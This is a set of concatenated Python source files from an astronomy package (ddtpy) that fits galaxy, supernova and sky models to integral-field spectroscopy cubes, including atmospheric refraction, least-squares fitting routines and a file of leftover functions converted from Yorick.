cos^2 = 1? one_xy = sin_xy**2 + cos_xy**2 - 1. mask = np.abs(one_xy >= 1.) if np.any(mask) and np.any(airmass[mask] > 1.01): raise RuntimeError("something went wrong with paralactic angle calc") # arctan gives an angle between -pi and pi # and paralactic_angle is between 0 and 2pi, positive from North toward # East. # NB: due to numerical resolution, tan(pi/2.) is well defined. return np.arctan2(sin_xy, cos_xy) def water_vapor_pressure(t): """Vapor pressure of water in mBar, given temperature in Celcius Parameters ---------- t : array or float """ t = t + 273.15 return np.exp(-7205.76 / t) / 100. * (50292. / t)**6.2896 def refraction_index_of_air_minus_one(p, t, h, wave): """Return n(lambda) - 1, where n(lambda) is the refraction index of air. Based on Edlen formula: n - 1 = 6.4328e-5 + 2.94981e-2/(1.46e2 - w) + 2.554e-4/(4.1e-1 - w) where w = (1 micron / lambda)^2. Parameters ---------- wave : 1-d array Wavelength in Angstroms. p : 1-d array Pressure in mBar t : 1-d array Temperature in Celcius h : 1-d array Humidity in percentage (values in range 0 - 100) Returns ------- value : 2-d array shape is (len(p), len(wave)) """ # expand inputs if < 1d wave = np.atleast_1d(wave) p = np.atleast_1d(p) t = np.atleast_1d(t) h = np.atleast_1d(h) assert p.ndim == t.ndim == h.ndim == wave.ndim == 1 assert p.shape == t.shape == h.shape wave = wave * 1.e-4 # convert wavelength to microns invwave2 = (1./wave)**2 # inverse microns squared n = (6.4328e-5 + 2.94981e-2 / (1.46e2 - invwave2) + 2.554e-4 / (4.1e1 - invwave2)) # 1-d array # pressure and temperature correction (1-d array): p = p*MMHG_PER_MBAR pt_corr = (((1.049 - 0.0157*t) * 1.e-6 * p + 1.) / (720.883*(1. + 0.003661*t)) * p) # humidity correction, depends on wavelength (2-d array) pvapor = water_vapor_pressure(t) * h / 100. * MMHG_PER_MBAR h_corr = (1.e-6 * pvapor[:, None] / (1. + 0.003661*t[:, None]) * (0.0624 - 0.00068*invwave2)) return pt_corr[:, None] * n - h_corr def differential_refraction(airmass, p, t, h, wave, wave_ref): """Differential refraction in arcseconds. Parameters ---------- airmass, p, t, h : 1-d array Observing parameters: airmass, pressure, temperature, humidty wave : 1-d array Wavelengths wave_ref : float Reference wavelength Returns ------- delta_r : 2-d array 2-d array of shape (n_airmass, n_wave) """ n2 = refraction_index_of_air_minus_one(p, t, h, wave) n1 = refraction_index_of_air_minus_one(p, t, h, wave_ref) ndiff = (n2 - n1) * ARCSEC_PER_RADIAN # 2-d array tan_z = np.sqrt(airmass**2 - 1.) # 1-d array return tan_z[:, None] * ndiff <file_sep>/ddtpy/main.py from __future__ import print_function, division import os.path from copy import deepcopy import json import numpy as np from numpy import fft import math from .psf import params_from_gs, gaussian_plus_moffat_psf_4d from .model import DDTModel from .data import read_dataset, read_select_header_keys, DDTData from .adr import paralactic_angle, differential_refraction from .fitting import (guess_sky, fit_model, fit_position, fit_sky_and_sn, fit_sky, fit_position_sn_sky) from .extern import ADR __all__ = ["main"] SNIFS_LATITUDE = np.deg2rad(19.8228) def main(filename, data_dir): """Do everything. Parameters ---------- filename : str JSON-formatted config file. data_dir : str Directory containing FITS files given in the config file. """ with open(filename) as f: conf = json.load(f) # check apodizer flag because the code doesn't support it if conf.get("FLAG_APODIZER", 0) >= 2: raise RuntimeError("FLAG_APODIZER >= 2 not implemented") spaxel_size = conf["PARAM_SPAXEL_SIZE"] # Reference wavelength. Used in PSF parameters and ADR. wave_ref = conf.get("PARAM_LAMBDA_REF", 5000.) # index of final ref. Subtract 1 due to Python zero-indexing. master_final_ref = conf["PARAM_FINAL_REF"] - 1 # also want array with true/false for final refs. is_final_ref = np.array(conf.get("PARAM_IS_FINAL_REF")) n_iter_galaxy_prior = conf.get("N_ITER_GALAXY_PRIOR") # Load the header from the final ref or first cube fname = os.path.join(data_dir, conf["IN_CUBE"][master_final_ref]) header = read_select_header_keys(fname) # Load data from list of FITS files. fnames = [os.path.join(data_dir, fname) for fname in conf["IN_CUBE"]] data, weight, wave = read_dataset(fnames) # Testing with only a couple wavelengths #data = data[:, 0:1, :, :] #weight = weight[:, 0:1, :, :] #wave = wave[0:1] # Zero-weight array elements that are NaN # TODO: why are there nans in here? mask = np.isnan(data) data[mask] = 0.0 weight[mask] = 0.0 # If target positions are given in the config file, set them in # the model. (Otherwise, the positions default to zero in all # exposures.) if "PARAM_TARGET_XP" in conf: xctr_init = np.array(conf["PARAM_TARGET_XP"]) else: xctr_init = np.zeros(ddtdata.nt) if "PARAM_TARGET_YP" in conf: yctr_init = np.array(conf["PARAM_TARGET_YP"]) else: yctr_init = np.zeros(ddtdata.nt) # calculate all positions relative to master final ref xctr_init -= xctr_init[master_final_ref] yctr_init -= yctr_init[master_final_ref] sn_x_init = -xctr_init[master_final_ref] sn_y_init = -yctr_init[master_final_ref] ddtdata = DDTData(data, weight, wave, xctr_init, yctr_init, is_final_ref, master_final_ref, header) # Load PSF model parameters. Currently, the PSF in the model is # represented by an arbitrary 4-d array that is constructed # here. The PSF depends on some aspects of the data, such as # wavelength. If different types of PSFs need to do different # things, we may wish to represent the PSF with a class, called # something like GaussMoffatPSF. # # GS-PSF --> ES-PSF # G-PSF --> GR-PSF if conf["PARAM_PSF_TYPE"] == "GS-PSF": es_psf_params = np.array(conf["PARAM_PSF_ES"]) psf_ellipticity, psf_alpha = params_from_gs( es_psf_params, ddtdata.wave, wave_ref) elif conf["PARAM_PSF_TYPE"] == "G-PSF": raise RuntimeError("G-PSF (from FITS files) not implemented") else: raise RuntimeError("unrecognized PARAM_PSF_TYPE") # The following section relates to atmospheric differential # refraction (ADR): Because of ADR, the center of the PSF will be # different at each wavelength, by an amount that we can determine # (pretty well) from the atmospheric conditions and the pointing # and angle of the instrument. We calculate the offsets here as a function # of observation and wavelength and input these to the model. # atmospheric conditions at each observation time. airmass = np.array(conf["PARAM_AIRMASS"]) p = np.asarray(conf.get("PARAM_P", 615.*np.ones_like(airmass))) t = np.asarray(conf.get("PARAM_T", 2.*np.ones_like(airmass))) h = np.asarray(conf.get("PARAM_H", np.zeros_like(airmass))) # Position of the instrument ha = np.deg2rad(np.array(conf["PARAM_HA"])) # config files in degrees dec = np.deg2rad(np.array(conf["PARAM_DEC"])) # config files in degrees tilt = conf["PARAM_MLA_TILT"] # differential refraction as a function of time and wavelength, # in arcseconds (2-d array). delta_r = differential_refraction(airmass, p, t, h, ddtdata.wave, wave_ref) delta_r /= spaxel_size # convert from arcsec to spaxels pa = paralactic_angle(airmass, ha, dec, tilt, SNIFS_LATITUDE) adr_dx = np.zeros((ddtdata.nt, ddtdata.nw), dtype=np.float) adr_dy = np.zeros((ddtdata.nt, ddtdata.nw), dtype=np.float) for i_t in range(ddtdata.nt): adr = ADR(p[i_t], t[i_t], lref=wave_ref, airmass=airmass[i_t], theta=pa[i_t]) adr_refract = adr.refract(0, 0, wave, unit=spaxel_size) assert adr_refract.shape == (2, len(wave)) adr_dx[i_t] = adr_refract[0] adr_dy[i_t] = adr_refract[1] # debug #adr_dx = -delta_r * np.sin(pa)[:, None] # O'xp <-> - east #adr_dy = delta_r * np.cos(pa)[:, None] # Make a first guess at the sky level based on the data. skyguess = guess_sky(ddtdata, 2.0) # Calculate rough average galaxy spectrum from final refs # for use in regularization. refdata = ddtdata.data[ddtdata.is_final_ref] refdata -= skyguess[ddtdata.is_final_ref][:, :, None, None] mean_gal_spec = refdata.mean(axis=(0, 2, 3)) # Initialize model model = DDTModel(ddtdata.nt, ddtdata.wave, psf_ellipticity, psf_alpha, adr_dx, adr_dy, conf["MU_GALAXY_XY_PRIOR"]/10., conf["MU_GALAXY_LAMBDA_PRIOR"], sn_x_init, sn_y_init, skyguess, mean_gal_spec) # Fit just the galaxy model to only the *master* final ref, # holding the sky fixed (logic to do that is inside # fit_model). The galaxy model is defined in the frame of the # master final ref. fit_model(model, ddtdata, [ddtdata.master_final_ref]) # Test plotting from .plotting import plot_timeseries, plot_wave_slices fig = plot_timeseries(ddtdata, model) fig.savefig("testfigure.png") fig2 = plot_wave_slices(ddtdata, model, ddtdata.master_final_ref) fig2.savefig("testslices.png") #exit() # Fit registration on just the final refs # ================================================================== maxiter_fit_position = 100 # Max iterations in fit_position maxmove_fit_position = 3.0 # maxmimum movement allowed in fit_position mask_nmad = 2.5 # Minimum Number of Median Absolute Deviations above # the minimum spaxel value in fit_position # Make a copy of the weight at this point, because we're going to # modify the weights in place for the next step. weight_orig = ddtdata.weight.copy() include_in_fit = np.ones(ddtdata.nt, dtype=np.bool) # /* Register the galaxy in the other final refs */ # i_fit_galaxy_position=where(ddt.ddt_data.is_final_ref); # n_final_ref = numberof( i_fit_galaxy_position); # galaxy_offset = array(double, 2, ddt.ddt_data.n_t); # Loop over just the other final refs (not including master) is_other_final_ref = ddtdata.is_final_ref.copy() is_other_final_ref[ddtdata.master_final_ref] = False other_final_refs = np.flatnonzero(is_other_final_ref) for i_t in other_final_refs: m = model.evaluate(i_t, ddtdata.xctr[i_t], ddtdata.yctr[i_t], (ddtdata.ny, ddtdata.nx), which='all') # The next few lines finds spaxels where the model is high and # sets the weight (in the data) for all other spaxels to zero tmp_m = m.sum(axis=0) # Sum of model over wavelengths (result = 2-d) tmp_mad = np.median(np.abs(tmp_m - np.median(tmp_m))) # Spaxels where model is greater than minimum + 2.5 * MAD mask = tmp_m > np.min(tmp_m) + mask_nmad * tmp_mad # If there is less than 20 spaxels available, we don't fit # the position if mask.sum() < 20: continue # This sets weight to zero on spaxels where mask is False # (where spaxel sum is less than minimum + 2.5 MAD) ddtdata.weight[i_t] = ddtdata.weight[i_t] * mask[None, :, :] # Fit the position for this epoch, keeping the sky fixed. # TODO: should the sky be varied on each iteration? # (currently, it is not varied) pos = fit_position(model, ddtdata, i_t) # Check if the position moved too much from initial position. # If it didn't move too much, update the model. # If it did, cut it from the fitting for the next step. dist = math.sqrt((pos[0] - ddtdata.xctr_init[i_t])**2 + (pos[1] - ddtdata.yctr_init[i_t])**2) if dist < maxmove_fit_position: ddtdata.xctr[i_t] = pos[0] ddtdata.yctr[i_t] = pos[1] else: include_in_fit[i_t] = False # Reset weight ddtdata.weight = weight_orig # Now that we have fit all their positions and reset the weights, # recalculate sky for all other final refs. for i_t in other_final_refs: model.sky[i_t,:] = fit_sky(model, ddtdata, i_t) # Redo model fit, this time including all final refs. fit_model(model, ddtdata, np.flatnonzero(ddtdata.is_final_ref)) fig = plot_timeseries(ddtdata, model) fig.savefig("testfigure2.png") for i_t in np.flatnonzero(ddtdata.is_final_ref): fig2 = plot_wave_slices(ddtdata, model, i_t) fig2.savefig("testslices_%s.png" % i_t) # list of non-final refs epochs = [i_t for i_t in range(ddtdata.nt) if not ddtdata.is_final_ref[i_t]] pos = fit_position_sn_sky(model, ddtdata, epochs) print(pos) # Fit registration on just exposures with a supernova (not final refs) # =================================================================== """ for i_t in range(ddtdata.nt): if ddtdata.is_final_ref[i_t]: continue pos = fit_position(model, ddtdata, i_t) # Check if the position moved too much from initial position. # If it didn't move too much, update the model. # If it did, cut it from the fitting for the next step. dist = math.sqrt((pos[0] - ddtdata.xctr_init[i_t])**2 + (pos[1] - ddtdata.yctr_init[i_t])**2) if dist < maxmove_fit_position: ddtdata.xctr[i_t] = pos[0] ddtdata.yctr[i_t] = pos[1] else: include_in_fit[i_t] = False sky, sn = fit_sky_and_sn(model, ddtdata, i_t) model.sky[i_t,:] = sky model.sn[i_t,:] = sn """ fig = plot_timeseries(ddtdata, model) fig.savefig("testfigure3.png") # Redo fit of galaxy # TODO: go back to DDT, check what should be fit here #fit_model(model, ddtdata) <file_sep>/ddtpy/fitting.py from __future__ import print_function, division import copy import numpy as np from scipy.optimize import leastsq, fmin_l_bfgs_b __all__ = ["guess_sky", "fit_sky", "fit_sky_and_sn", "fit_model", "fit_position"] def guess_sky(ddtdata, sig, maxiter=10): """Guess sky based on lower signal spaxels compatible with variance Parameters ---------- sig : float Number of standard deviations (not variances) to use as the clipping limit (on individual pixels). maxiter : int Maximum number of sigma-clipping interations. Default is 10. Returns ------- sky : np.ndarray (2-d) Sky level for each epoch and wavelength. Shape is (nt, nw). """ nspaxels = ddtdata.data.shape[2] * ddtdata.data.shape[3] sky = np.zeros((ddtdata.nt, ddtdata.nw), dtype=np.float64) for i in range(ddtdata.nt): data = ddtdata.data[i] weight = np.copy(ddtdata.weight[i]) var = 1.0 / weight # Loop until ind stops changing size or until a maximum # number of iterations. avg = None oldmask = None mask = None for j in range(maxiter): oldmask = mask # weighted average spectrum (masked array). # We use a masked array because some of the wavelengths # may have all-zero weights for every pixel. # The masked array gets propagated so that `mask` is a # masked array of booleans! avg = np.ma.average(data, weights=weight, axis=(1, 2)) deviation = data - avg[:, None, None] mask = deviation**2 > sig**2 * var # Break if the mask didn't change. if (oldmask is not None and (mask.data == oldmask.data).all() and (mask.mask == oldmask.mask).all()): break # set weights of masked pixels to zero. masked elements # of the mask are *not* changed. weight[mask] = 0.0 var[mask] = 0.0 # convert to normal (non-masked) array. Masked wavelengths are # set to zero in this process. sky[i] = np.asarray(avg) return sky def fit_sky(model, data, i_t): """Estimate the sky level for a single epoch, assuming no SN flux. Given a fixed galaxy in the model, the (assumed spatially flat) sky background is estimated from the difference between the data and model. This is inteded for use only on final ref epochs, where we "know" the SN flux is zero. Parameters ---------- model : DDTModel The model. data : DDTData The data. i_t : int The index of the epoch of interest. Returns ------- sky : ndarray 1-D sky spectrum. """ d = data.data[i_t, :, :, :] w = data.weight[i_t, :, :, :] m = model.evaluate(i_t, data.xctr[i_t], data.yctr[i_t], (data.ny, data.nx), which='galaxy') return np.average(d - m, weights=w, axis=(1, 2)) def fit_sky_and_sn(model, data, i_t): """Estimate the sky and SN level for a single epoch. Given a fixed galaxy and fixed SN PSF shape in the model, the (assumed spatially flat) sky background and SN flux are estimated. Parameters ---------- model : DDTModel The model. data : DDTData The data. i_t : int The index of the epoch of interest. Returns ------- sky : ndarray 1-d sky spectrum for given epoch. sn : ndarray 1-d SN spectrum for given epoch. """ d = data.data[i_t, :, :, :] w = data.weight[i_t, :, :, :] galmodel = model.evaluate(i_t, data.xctr[i_t], data.yctr[i_t], (data.ny, data.nx), which='galaxy') snmodel = model.evaluate(i_t, data.xctr[i_t], data.yctr[i_t], (data.ny, data.nx), which='snscaled') A11 = (w * snmodel**2).sum(axis=(1, 2)) A12 = (-w * snmodel).sum(axis=(1, 2)) A21 = A12 A22 = w.sum(axis=(1, 2)) denom = A11*A22 - A12*A21 # There are some cases where we have slices with only 0 # values and weights. Since we don't mix wavelengths in # this calculation, we put a dummy value for denom and # then put the sky and sn values to 0 at the end. mask = denom == 0.0 if not np.all(A22[mask] == 0.0): raise ValueError("found null denom for slices with non null " "weight") denom[mask] = 1.0 # w2d, w2dy w2dz are used to calculate the variance using # var(alpha x) = alpha^2 var(x)*/ tmp = w * d wd = tmp.sum(axis=(1, 2)) wdsn = (tmp * snmodel).sum(axis=(1, 2)) wdgal = (tmp * galmodel).sum(axis=(1, 2)) tmp = w * galmodel wgal = tmp.sum(axis=(1, 2)) wgalsn = (tmp * snmodel).sum(axis=(1, 2)) wgal2 = (tmp * galmodel).sum(axis=(1, 2)) b_sky = (wd * A11 + wdsn * A12) / denom c_sky = (wgal * A11 + wgalsn * A12) / denom b_sn = (wd * A21 + wdsn * A22) / denom c_sn = (wgal * A21 + wgalsn * A22) / denom sky = b_sky - c_sky sn = b_sn - c_sn sky[mask] = 0.0 sn[mask] = 0.0 return sky, sn def chisq(model, data, i_t): """Return chi squared value and gradent for single data epoch. Parameters ---------- model : DDTModel data : DDTData i_t : int Epoch number. Returns ------- chisq : float chisq_gradient : np.ndarray (3-d) Gradient with respect to model galaxy. """ m = model.evaluate(i_t, data.xctr[i_t], data.yctr[i_t], (data.ny, data.nx), which='all') r = data.data[i_t] - m wr = data.weight[i_t] * r grad = model.gradient_helper(i_t, -2.*wr, data.xctr[i_t], data.yctr[i_t], (data.ny, data.nx)) return np.sum(wr * r), grad def regularization_penalty(model, data): """computes regularization penalty and gradient for a given galaxy model Parameters ---------- model : DDTModel data : DDTData Returns ------- penalty : float penalty_gradient : np.ndarray Gradient with respect to model galaxy (l """ galdiff = model.gal - model.galprior galdiff /= model.mean_gal_spec[:, None, None] dw = galdiff[1:, :, :] - galdiff[:-1, :, :] dy = galdiff[:, 1:, :] - galdiff[:, :-1, :] dx = galdiff[:, :, 1:] - galdiff[:, :, :-1] # Regularlization penalty term val = (model.mu_xy * np.sum(dx**2) + model.mu_xy * np.sum(dy**2) + model.mu_wave * np.sum(dw**2)) # Gradient in regularization penalty term # # This is clearer when the loops are explicitly written out. # For a loop that goes over all adjacent elements in a given dimension, # one would do (pseudocode): # for i in ...: # d = arr[i+1] - arr[i] # penalty += hyper * d^2 # gradient[i+1] += 2 * hyper * d # gradient[i] -= 2 * hyper * d grad = np.zeros_like(model.gal) grad[:, :, 1:] += 2. * model.mu_xy * dx grad[:, :, :-1] -= 2. * model.mu_xy * dx grad[:, 1:, :] += 2. * model.mu_xy * dy grad[:, :-1,:] -= 2. * model.mu_xy * dy grad[1:, :, :] += 2. * model.mu_wave * dw grad[:-1, :, :] -= 2. * model.mu_wave * dw return val, grad def fit_model(model, data, epochs): """Fit galaxy, SN and sky part of model, keeping data positions fixed. Parameters ---------- model : DDTModel Model. data : DDTData Data. epochs : list of int List of epoch indicies to use in fit. """ # Define objective function to minimize. This adjusts SN and Sky # and returns the regularized chi squared and its gradient. def objective_func(galparams): # Set galaxy in model. model.gal = galparams.reshape(model.gal.shape) # Change model's SN and sky to optimal values given this galaxy for i_t in epochs: if i_t == data.master_final_ref: continue if data.is_final_ref[i_t]: sky = fit_sky(model, data, i_t) model.sky[i_t, :] = sky else: sky, sn = fit_sky_and_sn(model, data, i_t) model.sky[i_t, :] = sky model.sn[i_t, :] = sn # Add up chisq for each epoch and add regularization gradient. chisq_tot = 0. chisq_grad = np.zeros_like(model.gal) for i_t in epochs: val, grad = chisq(model, data, i_t) chisq_tot += val chisq_grad += grad rval, rgrad = regularization_penalty(model, data) return (chisq_tot + rval), np.ravel(chisq_grad + rgrad) galparams0 = np.ravel(model.gal) galparams, f, d = fmin_l_bfgs_b(objective_func, galparams0) model.gal = galparams.reshape(model.gal.shape) print("optimization finished\n" "function minimum: {:f}".format(f)) print("info dict: ") for k, v in d.iteritems(): print(k, " : ", v) # TODO: should we change this to use a general-purpose optimizer rather # than leastsq? Leastsq seems like a strange choice for this problem # from what I can tell. def fit_position(model, data, i_t, maxiter=100): """Fit data position for epoch i_t, keeping galaxy model fixed. Doesn't modify model or data. Parameters ---------- model : DDTModel data : DDTData i_t : int Epoch number. Returns ------- x, y : float, float x and y position. """ # Define a function that returns the sqrt(weight) * (data-model) # for the given epoch i_t, given the data position. # scipy.optimize.leastsq will minimize the sum of the squares of this # function's return value, so we're minimizing # sum(weight * residual^2), which seems reasonable. def objective_func(pos): m = model.evaluate(i_t, pos[0], pos[1], (data.ny, data.nx), which='all') out = np.sqrt(data.weight[i_t]) * (data.data[i_t] - m) return np.ravel(out) pos0 = [data.xctr[i_t], data.yctr[i_t]] # initial position pos, info = leastsq(objective_func, pos0) if info not in [1, 2, 3, 4]: raise RuntimeError("leastsq didn't converge properly") return pos[0], pos[1] def fit_position_sn_sky(model, data, epochs): """Fit data pointing (nepochs), SN position (in model frame), SN amplitude (nepochs), and sky level (nepochs). This is meant to be used only on epochs with SN light. In practice, given the data pointing and SN position, determining the sky level and SN amplitude is a linear problem. Therefore, we have only the data pointing and sn position as parameters in the (nonlinear) optimization and determine the sky and sn amplitude in each iteration. """ # In the objective function, pos is a 1-d array: # # [sn_x, sn_y, x_ctr[0], y_ctr[0], x_ctr[1], y_ctr[1], ...] # # length is 2 + 2*nepochs def objective_func(pos): totchisq = 0. # set model parameters model.sn_x = pos[0] model.sn_y = pos[1] for n, i_t in enumerate(epochs): data.xctr[i_t] = pos[2+2*n] data.yctr[i_t] = pos[3+2*n] sky, sn = fit_sky_and_sn(model, data, i_t) model.sky[i_t, :] = sky model.sn[i_t, :] = sn m = model.evaluate(i_t, data.xctr[i_t], data.yctr[i_t], (data.ny, data.nx), which='all') r = data.data[i_t] - m totchisq += np.sum(data.weight[i_t] * r * r) return totchisq # initial positions pos0 = np.hstack((model.sn_x, model.sn_y, np.ravel(zip(data.xctr[epochs], data.yctr[epochs])))) pos, info = leastsq(objective_func, pos0) if info not in [1, 2, 3, 4]: raise RuntimeError("leastsq didn't converge properly") return pos <file_sep>/ddtpy/leftovers.py # This is a temporary file holding leftover functions that were converted # from Yorick but don't seem to be needed anymore. # # TODO: These can be removed after we decide that we're sure we don't # need them. # was in fitting.py: def make_offset_cube(ddt,i_t, sn_offset=None, galaxy_offset=None, recalculate=None): """ This fn is only used in _sn_galaxy_registration_model in registration.py FIXME: this doesn't include the SN position offset, that is applied at the PSF convolution step """ if galaxy_offset is None: galaxy_offset = np.array([0.,0.]) if sn_offset is None: sn_offset = np.array([0.,0.]) model = model.psf_convolve(ddt.model_gal, i_t, offset=galaxy_offset) # recalculate the best SN if recalculate: # Below fn in ddt_fit_toolbox.i sn_sky = model.update_sn_and_sky(ddt, i_t, galaxy_offset=galaxy_offset, sn_offset=sn_offset) sn = sn_sky['sn'] sky = sn_sky['sky'] else: sn = ddt.model_sn[i_t,:] sky = ddt.model_sky[i_t,:] model += make_sn_model(sn, ddt, i_t, offset=sn_offset) model += sky[:,None,None] return ddt.r(model) # was in fitting.py: def make_sn_model(sn, ddt, i_t, offset=None): """offsets in spaxels """ if not isinstance(offset, np.ndarray): offset = np.array([0.,0.]) sn_model = np.zeros((ddt.nw,ddt.psf_ny, ddt.psf_nx)) sn_model[:,ddt.model_sn_y, ddt.model_sn_x] = sn return model.psf_convolve(sn_model, i_t, offset=offset) # was in Model class, but was moved to fitting. This version # has all the commented-out variance and eta stuff in case we want to # add it back in. def update_sn_and_sky(self, data, i_t): """Update the SN level and sky level for a single epoch, given the current PSF and galaxy and input data. calculates the optimal SN and Sky in the chi^2 sense for given PSF and galaxy, including a possible offset of the supernova Parameters ---------- data : DDTData The data. i_t : int The index of the epoch for which to extract eta, SN and sky """ d = data.data[i_t, :, :, :] w = data.weight[i_t, :, :, :] gal_conv = self.evaluate(i_t, data.xctr[i_t], data.yctr[i_t], (data.ny, data.nx), which='galaxy') if data.is_final_ref[i_t]: # sky is just weighted average of data - galaxy model, since # there is no SN in a final ref. self.sky[i_t, :] = np.average(d - gal_conv, weights=w, axis=(1, 2)) #if calc_variance: # sky_var = w.sum(axis=(1, 2)) / (w**2).sum(axis=(1, 2)) # sn_var = np.ones(self.nw) # If the epoch is *not* a final ref, the SN is not zero, so we have # to do a lot more work. else: sn_conv = self.evaluate(i_t, data.xctr[i_t], data.yctr[i_t], (data.ny, data.nx), which='snscaled') A11 = (w * sn_conv**2).sum(axis=(1, 2)) A12 = (-w * sn_conv).sum(axis=(1, 2)) A21 = A12 A22 = w.sum(axis=(1, 2)) denom = A11*A22 - A12*A21 # There are some cases where we have slices with only 0 # values and weights. Since we don't mix wavelengths in # this calculation, we put a dummy value for denom and # then put the sky and sn values to 0 at the end. mask = denom == 0.0 if not np.all(A22[mask] == 0.0): raise ValueError("found null denom for slices with non null " "weight") denom[mask] = 1.0 # w2d, w2dy w2dz are used to calculate the variance using # var(alpha x) = alpha^2 var(x)*/ tmp = w * d wd = tmp.sum(axis=(1, 2)) wdsn = (tmp * sn_conv).sum(axis=(1, 2)) wdgal = (tmp * gal_conv).sum(axis=(1, 2)) tmp = w * gal_conv wgal = tmp.sum(axis=(1, 2)) wgalsn = (tmp * sn_conv).sum(axis=(1, 2)) wgal2 = (tmp * gal_conv).sum(axis=(1, 2)) b_sky = (wd * A11 + wdsn * A12) / denom c_sky = (wgal * A11 + wgalsn * A12) / denom b_sn = (wd * A21 + wdsn * A22) / denom c_sn = (wgal * A21 + wgalsn * A22) / denom sky = b_sky - c_sky sn = b_sn - c_sn sky[mask] = 0.0 sn[mask] = 0.0 self.sky[i_t, :] = sky self.sn[i_t, :] = sn # if calc_variance: # v = 1/w # w2d = w*w*v # w2dy = w2d * sn_conv * sn_conv # w2dz = w2d * gal_conv * gal_conv # w2d = w2d.sum(axis=(1, 2)) # w2dy = w2dy.sum(axis=(1, 2)) # w2dz = w2dz.sum(axis=(1, 2)) # # b2_sky = w2d*A11*A11 + w2dy*A12*A12 # b2_sky /= denom**2 # # b_sn = w2d*(A21**2) + w2dy*(A22**2) # b_sn /= denom**2 # # sky_var = b_sky # sn_var = b_sn # If no_eta = True (*do* calculate eta): # ====================================== # # eta = wdgal - wz*b_sky - wzy*b_sn # eta_denom = wzz - wz*c_sky - wzy * c_sn # if isinstance(i_bad,np.ndarray): # eta_denom[i_bad] = 1. # # eta = eta(sum)/eta_denom.sum() # sky = b_sky - eta*c_sky # sn = b_sn - eta*c_sn # if calc_variance: # print ("WARNING: variance calculation with "+ # "eta calculation not implemented") # sky_var = np.ones(sky.shape) # sn_var = np.ones(sn.shape) # else: # sky_var = np.ones(sky.shape) # sn_var = np.ones(sn.shape) # # if isinstance(i_bad, np.ndarray): # print ("<ddt_extract_eta_sn_sky> WARNING: due to null denom,"+ # "putting some eta, sn and sky values to 0") # sky[i_bad] = 0. # sn[i_bad] = 0. # eta[i_bad] = 0. # sky_var[i_bad] = 0. # sn_var[i_bad] = 0. # was in registration.py: def shift_galaxy(ddt, offset, galaxy=None): """Galaxy offset in SPAXELS Parameters ---------- ddt : DDT object offset : 1-d array galaxy : 3d array Returns ------- galaxy_fix : 3d array """ if not isinstance(galaxy, np.ndarray): galaxy = ddt.model_gal offset = offset dim_gal = galaxy.shape print offset, dim_gal phase_shift = fft_shift_phasor(dim_gal, offset, half=1) galaxy_fix = np.zeros(dim_gal) for i_l in range(dim_gal[0]): #galaxy_fix[i_l,:,:] = ddt.FFT(ddt.FFT(galaxy[i_l,:,:])*phase_shift , 2) galaxy_fix[i_l,:,:] = ddt.FFT(ddt.FFT(galaxy[i_l,:,:])*phase_shift) return galaxy_fix # was in registration.py: def sn_galaxy_registration(ddt, i_t, verb=None, maxiter=None, fit_flag = 'galaxy', mask_sn=0, recalculate=None): """ Warning: Offsets are in SPAXELS Parameters ---------- mask_sn : level at which the SN starts being masked recalculate: bool set it if you want to recalculate sky and SN each time fit_flag : 'sn' or 'galaxy' register the sn or galaxy, keep the other fixed Returns ------- anew : 1-d array fit of sn or galaxy position. Notes ----- a[0] offset_x a[1] offset_y """ a = np.array([0.,0.]) sqrt_weight = (ddt.weight[i_t,:,:,:])**0.5 # TODO: Fix this once op_nllsq is sorted out. extra = {'ddt':ddt, 'i_t':i_t, 'data':ddt.data[i_t,:,:,:], 'sqrt_weight':sqrt_weight, 'model':_sn_galaxy_registration_model, 'fit_flag': fit_flag, 'recalculate':recalculate, 'mask_sn':mask_sn} # TODO: FIND op_nllsq (optimpac probably) # Translation of this will probably depend on how optimpac wrapper works # - Using fmin_cg as temporary placeholder for optimpack function: #anew = op_nllsq(_registration_worker, a, extra=extra, verb=verb, # maxstep=maxiter) anew = scipy.optimize.fmin_cg(_registration_worker, a, args=extra, maxiter=maxiter) if fit_flag == 'sn': sn_offset = a galaxy_offset = np.array([0.,0.]) elif fit_flag == 'galaxy': galaxy_offset = a sn_offset = np.array([0.,0.]) else: raise ValueError("fit_flag must be sn or galaxy") model = make_offset_cube(ddt, i_t, galaxy_offset=galaxy_offset, sn_offset=sn_offset, recalculate=recalculate) return anew # was in registration.py: # TODO: once op_llnsq above is sorted out, maybe this can be removed. def _sn_galaxy_registration_model(a, ddt, i_t, fit_flag='galaxy', recalculate=None): """ Parameters ---------- Returns ------- Notes ----- a(1) = sn_offset_x a(2) = sn_offset_y a(3) = galaxy_offset_x a(4) = galaxy_offset_y """ sn_offset = np.array([0.,0.]) galaxy_offset = array([0.,0.]) if fit_flag == 'sn': sn_offset = a elif fit_flag == 'galaxy': galaxy_offset = a else: raise ValueError("<_ddt_sn_galaxy_registration_model> "+ "fit_flag must be sn or galaxy") print "sn_offset [%s, %s], galaxy_offset [%s, %s] \n" % (sn_offset[0], sn_offset[1], galaxy_offset[0], galaxy_offset[1]) cube_offset = make_offset_cube(ddt, i_t, galaxy_offset=galaxy_offset, sn_offset=sn_offset, recalculate=recalculate) return cube_offset # was in registration.py: def _registration_worker(a, extra): """ Parameters ---------- a : 1d array extra : hash object - will be dict? Returns ------- wr : 3-d array """ if extra['mask_sn']: # SN PSF convolved by delta function sn_mask_32 = make_sn_model(np.zeros(extra['ddt'].ddt_model.nw), extra['ddt'], extra['i_t']) i_low = np.where(sn_mask_32 <= (extra['mask_sn'] * max(sn_mask_32))) sn_mask_32 *= 0.; sn_mask_32[i_low] = 1.; # TODO: Fix this h_set: #h_set, extra.ddt, sn_mask_32 = sn_mask_32 sqrt_weight = extra['sqrt_weight']*ddt.r(sn_mask_32) else: sqrt_weight = extra['sqrt_weight'] wr = sqrt_weight*(extra['data'] - extra['model']( a, extra['ddt'], extra['i_t'], fit_flag=extra['fit_flag'], recalculate=extra['recalculate'])) return wr # was in model.py in DDTModel. class DDTModel: # was in def __init__(): # This moves the center of the PSF from array coordinates # (model_sn_x, model_sn_y) -> (0, 0) [lower left pixel] # We suppose this is done because it is needed for convolution. # self.psf = roll_psf(self.psf, -self.model_sn_x, -self.model_sn_y) # Make up a coordinate system for the model array #offx = int((nx-1) / 2.) #offy = int((ny-1) / 2.) #xcoords = np.arange(-offx, nx - offx) # x coordinates on array #ycoords = np.arange(-offy, ny - offy) # y coordinates on array # sn is "by definition" at array position where coordinates = (0,0) # model_sn_x = offx # model_sn_y = offy def psf_convolve(self, x, i_t, offset=None): """Convolve x with psf this is where ADR is treated as a phase shift in Fourier space. Parameters ---------- x : 3-d array Model, shape = (nw, ny, nx) i_t : int To get psf and sn_offset for this exposure offset : 